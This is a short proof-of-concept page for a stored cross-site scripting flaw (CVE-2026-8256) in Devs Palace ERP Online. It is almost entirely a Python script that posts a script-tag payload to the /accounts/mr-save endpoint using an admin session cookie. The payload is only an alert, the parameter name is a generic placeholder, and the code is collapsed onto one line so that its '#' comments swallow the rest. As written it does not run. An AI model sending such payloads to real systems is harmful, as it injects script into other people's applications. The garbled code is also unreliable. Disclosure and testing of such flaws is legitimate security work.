CVE-2026-8256: Devs Palace ERP Online XSS漏洞

import requests # POC for CVE-2026-8256 # Target: Devs Palace ERP Online <= 4.0.0 # Endpoint: /accounts/mr-save # Description: Stored XSS via manipulating parameters in the save request. target_url = "http://target-ip/accounts/mr-save" cookies = { "sessionid": "admin_session_cookie_here" # Requires High Privilege (PR:H) } # Malicious payload to inject JavaScript payload = { "field_name": "<script>alert('CVE-2026-8256_XSS');</script>", "other_data": "value" } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("Payload sent successfully. Check the page where data is reflected/stored.") else: print(f"Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")